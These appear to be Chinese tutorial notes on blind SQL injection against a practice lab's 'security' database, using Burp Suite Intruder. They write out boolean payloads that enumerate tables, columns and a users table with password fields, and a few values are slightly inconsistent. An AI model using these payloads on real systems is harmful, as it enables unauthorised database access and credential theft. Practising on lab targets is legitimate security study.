- BurpSuite 自动化盲注
- 判断注入类型:
- 获取数据库:
- 获取数据库表:
- 判断数据库表的数量,使用语句
?id=1' and (select count(*) from information_schema.tables where table_schema="security") = 1 --+
得知数据库表有4个,这里将 1 设为变量 - 然后判断数据库表的长度,使用语句
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1--+
获知分别为6、8、7、5,这里将0,1设为变量即可 - 接着获取数据库表名,要获取数据库表名的字符,使用语句
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+
获知四个表分别为email 、referers、uagents、users,这里将0,1,a设为变量,因为已经知道有四个表和最大长度为8,如下图
- 判断数据库表的数量,使用语句
- 获取字段数:
- 因为users是最终需要的,所以只使用users表,使用语句
?id=1' and (select count(*) from information_schema.columns where table_name="users")=1 --+
获知字段数为 6,这里只将1设为变量即可 - 接下来获取字段名字的长度,使用语句
?id=1' and length((select column_name from information_schema.columns where table_name="user" limit 0,1))=1 --+
获知4,4,11,11,11,这里将0,1设为变量即可 - 最后获取字段名,使用语句
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1), 1,1))=1 --+
获知字段名为 user CURRENT_CONNECTIONS TOTAL_CONNECTIONS id username password,这里将0,1,1设为变量即可
- 因为users是最终需要的,所以只使用users表,使用语句